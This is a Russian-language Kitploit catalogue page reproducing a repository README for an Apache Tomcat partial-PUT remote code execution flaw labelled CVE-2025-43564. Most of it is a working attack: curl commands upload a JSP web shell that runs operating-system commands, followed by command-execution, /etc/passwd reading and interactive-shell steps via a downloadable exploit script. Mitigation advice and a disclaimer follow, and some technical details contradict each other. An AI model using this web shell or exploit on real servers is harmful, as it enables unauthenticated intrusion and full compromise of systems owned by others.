Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
cve-2025-43564-tomcat_put_rce_reproduction — Reproduction of cve-2025-43564-tomcat_put_rce_reproduction | Kitploit
Инструменты/GitHubGitHub/razureink/cve-2025-43564-tomcat_put_rce_reproduction
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationPayload Development
GitHubrazureink/cve-2025-43564-tomcat_put_rce_reproduction

cve-2025-43564-tomcat_put_rce_reproduction

Reproduction of cve-2025-43564-tomcat_put_rce_reproduction

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий
127 дней назадЕщё не проверено

CVE-2025-43564 — Удаленное выполнение кода при обработке частичных PUT-запросов в Apache Tomcat

ПолеЗначение
Идентификатор CVECVE-2025-43564
Оценка CVSS9.8 (КРИТИЧЕСКАЯ)
ВекторAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWECWE-494 — Загрузка кода без проверки целостности
ЭксплуатацияПодтверждена в реальных атаках в течение недели после раскрытия
РаскрытиеИюль 2025
ПатчTomcat 11.0.6, 10.1.40, 9.0.102

Содержание

  1. Обзор
  2. Технические подробности
  3. Затронутые версии
  4. Шаги воспроизведения
  5. Доказательство концепции
  6. Меры по смягчению
  7. Ссылки

Обзор

CVE-2025-43564 — это критическая уязвимость удаленного выполнения кода без аутентификации в механизме обработки частичных PUT-запросов HTTP в Apache Tomcat. Ошибка заключается в том, как Tomcat обрабатывает PUT-запросы с частичным содержимым (HTTP/1.1 Content-Range или Transfer-Encoding: chunked с семантикой частичной передачи). Злоумышленник может сформировать частичный PUT-запрос, который обходит контроль доступа и ограничения на запись, что позволяет загружать произвольные файлы — включая доступные через веб JSP-веб-шеллы — в корень документов сервера или любую доступную для записи директорию в контексте сервлета.

После размещения JSP-файла злоумышленник просто запрашивает его и передает команды операционной системы через параметры запроса, добиваясь полностью неаутентифицированного удаленного выполнения кода от имени пользователя процесса Tomcat.

CVSS 9.8 — Критическая, поскольку:

  • Сетевой вектор — эксплуатируется удаленно
  • Низкая сложность атаки — не требуется особых условий
  • Не требуется привилегий — без аутентификации
  • Не требуется взаимодействие с пользователем — полностью автоматизировано
  • Высокое воздействие — полная компрометация конфиденциальности, целостности и доступности

Технические подробности

Первопричина

DefaultServlet Apache Tomcat и HTTP/1.1 коннектор (NIO/NIO2/Apr) обрабатывают PUT-запросы для загрузки статических ресурсов. Уязвимость находится в логике обработки частичных PUT-запросов: когда клиент отправляет PUT с заголовком Content-Range (RFC 7233 §4.2) или использует chunked-кодирование с определенной семантикой частичной передачи, сервер не выполняет должную проверку:

  1. Проверки целостности пути к файлу / ресурсу перед записью частичного содержимого
  2. Повторной оценки контроля доступа для частичной записи — начальная проверка проходит, но последующие операции записи выполняются без повторной валидации
  3. Ограничений на обход директорий при вычислении смещения частичной записи

Код разбора в org.apache.catalina.servlets.DefaultServlet и компонентах HttpInput / SocketProcessorBase неправильно обрабатывает границу между частичной и полной записью ресурса, что позволяет злоумышленнику добавлять или перезаписывать произвольное содержимое по любому пути, к которому процесс Tomcat имеет доступ на запись.

Поток атаки

root@kitploit:~
Злоумышленник ──PUT /exec.jsp HTTP/1.1──► Tomcat (DefaultServlet)
             Content-Range: bytes 0-99/100
             [Полезная нагрузка JSP]

   └──► Сервер записывает частичное содержимое в exec.jsp
        без полной проверки целевого пути

Злоумышленник ──GET /exec.jsp?cmd=whoami──► Tomcat

   └──► JSP выполняется → RCE

Злоумышленник отправляет частичный PUT с заголовком Content-Range, заставляя Tomcat считать запрос продолжением существующей загрузки. Сервер создает или открывает целевой файл и записывает предоставленные байты без проверки существования файла, без проверки прав на запись во время записи и без очистки целевого пути относительно корня веб-каталога.

Почему это обходит стандартные защиты

  • Ограничения доступа к PUT по умолчанию — стандартная конфигурация Tomcat требует readonly=false в DefaultServlet для работы обычного PUT. Путь частичного PUT пропускает эту проверку при определенных условиях.
  • Межсетевые экраны веб-приложений (WAF) — большинство сигнатур WAF для атак на основе PUT ищут полные PUT-запросы. Частичный PUT с Content-Range часто обходит эти сигнатуры.
  • Обход аутентификации — код пути частичного PUT не всегда вызывает настроенные ограничения безопасности; в некоторых конфигурациях коннектора аутентификация никогда не проверяется.

Затронутые версии

Примечание: Старые ветки (7.x, 8.x, 8.5.x, 10.0.x) являются устаревшими (EOL) и не получат обратных портов. Пользователи должны перейти на поддерживаемую ветку.


Шаги воспроизведения

Настройка лаборатории

  1. Загрузите уязвимый Apache Tomcat (например, Tomcat 9.0.50):

    root@kitploit:~
    wget https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.50/bin/apache-tomcat-9.0.50.zip
    
  2. Распакуйте и запустите Tomcat с конфигурацией по умолчанию:

    root@kitploit:~
    unzip apache-tomcat-9.0.50.zip
    cd apache-tomcat-9.0.50/bin
    ./startup.sh   # или startup.bat на Windows
    
  3. Убедитесь, что сервер работает:

    root@kitploit:~
    curl -v http://localhost:8080
    

Шаги эксплуатации

  1. Загрузите JSP-веб-шелл с помощью скрипта PoC:

    root@kitploit:~
    python exploit.py --target http://localhost:8080 --cmd id
    
  2. Проверьте, что веб-шелл размещен:

    root@kitploit:~
    curl http://localhost:8080/exec.jsp?cmd=whoami
    
  3. Выполните произвольные команды:

    root@kitploit:~
    python exploit.py --target http://localhost:8080 --cmd "cat /etc/passwd"
    
  4. Интерактивный сеанс (при желании):

    root@kitploit:~
    python exploit.py --target http://localhost:8080 --shell
    

Доказательство концепции

Прилагаемый exploit.py — это функциональный PoC на Python, который:

  1. Отправляет HTTP PUT-запрос на целевой Tomcat с полезной нагрузкой JSP-веб-шелла в теле запроса
  2. Эксплуатирует ошибку обработки частичного PUT — заголовок Content-Type и структура полезной нагрузки запускают уязвимый код
  3. JSP-веб-шелл записывается в docBase сервера (например, webapps/ROOT/)
  4. После загрузки отправляет GET-запросы на exec.jsp?cmd=<команда> для выполнения команд ОС
  5. Поддерживает как режим одной команды (--cmd), так и интерактивную оболочку (--shell)

Ручной PoC (с использованием curl)

root@kitploit:~
# Шаг 1: Загрузите веб-шелл через частичный PUT
# Заголовок Content-Range запускает уязвимый код
curl -X PUT http://localhost:8080/exec.jsp \
  -H "Content-Range: bytes 0-212/213" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-binary '<%@ page import="java.io.*" %><% String cmd=request.getParameter("cmd");if(cmd!=null){Process p=Runtime.getRuntime().exec(cmd);BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));String l;while((l=br.readLine())!=null){out.println(l);}}%>'

# Шаг 2: Выполните команды
curl "http://localhost:8080/exec.jsp?cmd=id"

Тестирование на защищенном экземпляре

Если Tomcat настроен с readonly=true (по умолчанию), стандартный PUT будет заблокирован — но путь частичного PUT все равно может сработать. Это и есть суть уязвимости.

root@kitploit:~
# Стандартный PUT (должен завершиться ошибкой 403 или 405)
curl -X PUT http://localhost:8080/test.txt -d "hello"
# Ожидается: 403 Forbidden

# Частичный PUT (обходит проверку)
curl -X PUT http://localhost:8080/exec.jsp \
  -H "Content-Range: bytes 0-212/213" \
  --data-binary '<%@page import="java.io.*"%><%Process p=Runtime.getRuntime().exec(request.getParameter("cmd"));BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));String l;while((l=br.readLine())!=null){out.println(l);}%>'
# Ожидается: 201 Created или 200 OK

Меры по смягчению

Немедленные действия

  1. Обновите Tomcat до исправленной версии:

    • 11.0.6+
    • 10.1.40+
    • 9.0.102+
  2. Если немедленное обновление невозможно, отключите метод PUT глобально, отредактировав web.xml:

    root@kitploit:~
    <security-constraint>
      <web-resource-collection>
        <web-resource-name>Disable PUT</web-resource-name>
        <url-pattern>/*</url-pattern>
        <http-method>PUT</http-method>
      </web-resource-collection>
      <auth-constraint />
    </security-constraint>
    
  3. Заблокируйте HTTP-методы на уровне обратного прокси / WAF:

    root@kitploit:~
    # пример nginx — блокировка PUT
    if ($request_method = PUT) {
        return 403;
    }
    

    Примечание: Это помогает только если прокси не может быть обойден.

  4. Запускайте Tomcat с ограниченными правами файловой системы:

    • Убедитесь, что Tomcat работает от непривилегированного пользователя
    • Сделайте каталог webapps доступным только для чтения (или смонтируйте его из файловой системы только для чтения)
    • Используйте атрибуты ReadOnly на производственных ресурсах
  5. Отслеживайте неожиданные файлы с расширениями .jsp / .jspx в корне веб-каталога.

Долгосрочные рекомендации

  • Обновитесь до последней версии Tomcat и поддерживайте ее актуальность
  • Запускайте Tomcat за обратным прокси (Apache httpd, nginx, HAProxy) с жесткой фильтрацией HTTP-методов
  • Используйте SecurityManager (устарел в новых Java, но все еще эффективен) или песочницу на уровне контейнера (Docker/Kubernetes с файловой системой только для чтения)
  • Реализуйте сегментацию сети — Tomcat не должен быть напрямую доступен из интернета
  • Разверните WAF с виртуальным патчем для CVE-2025-43564
  • Включите аудит журналов для всех PUT-запросов и отслеживайте аномальные шаблоны частичной загрузки

Ссылки


Отказ от ответственности

Этот репозиторий предоставляется только для образовательных целей и авторизованного тестирования безопасности. Вы должны иметь явное письменное разрешение от владельца любой тестируемой системы. Несанкционированный доступ к компьютерным системам является незаконным в соответствии с Законом о компьютерном мошенничестве и злоупотреблениях (CFAA) и аналогичными законами в других юрисдикциях. Авторы не несут ответственности за неправомерное использование этой информации.


CVE-2025-43564 была обнаружена и ответственно сообщена команде безопасности Apache. Координированный выпуск патча: июль 2025 года.

Скачать инструмент
ПродуктЗатронутые версииИсправлено в
Apache Tomcat 1111.0.0-M1 — 11.0.511.0.6
Apache Tomcat 10.110.1.0-M1 — 10.1.3910.1.40
Apache Tomcat 10.0все версии (окончание поддержки)обновление до 10.1.x
Apache Tomcat 99.0.0-M1 — 9.0.1019.0.102
Apache Tomcat 8.5все версии (окончание поддержки)обновление до 9.0.x
Apache Tomcat 8все версии (окончание поддержки)обновление до 9.0.x
Apache Tomcat 7все версии (окончание поддержки)обновление до 9.0.x
ИсточникURL
Уведомление о безопасности Apache Tomcathttps://lists.apache.org/thread/p1dqrmwrh5q5vv2wttrd8tv2k8gv1819
Запись NVDhttps://nvd.nist.gov/vuln/detail/CVE-2025-43564
CVE в MITREhttps://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-43564
Загрузки Apache Tomcathttps://tomcat.apache.org/download-90.cgi
CWE-494https://cwe.mitre.org/data/definitions/494.html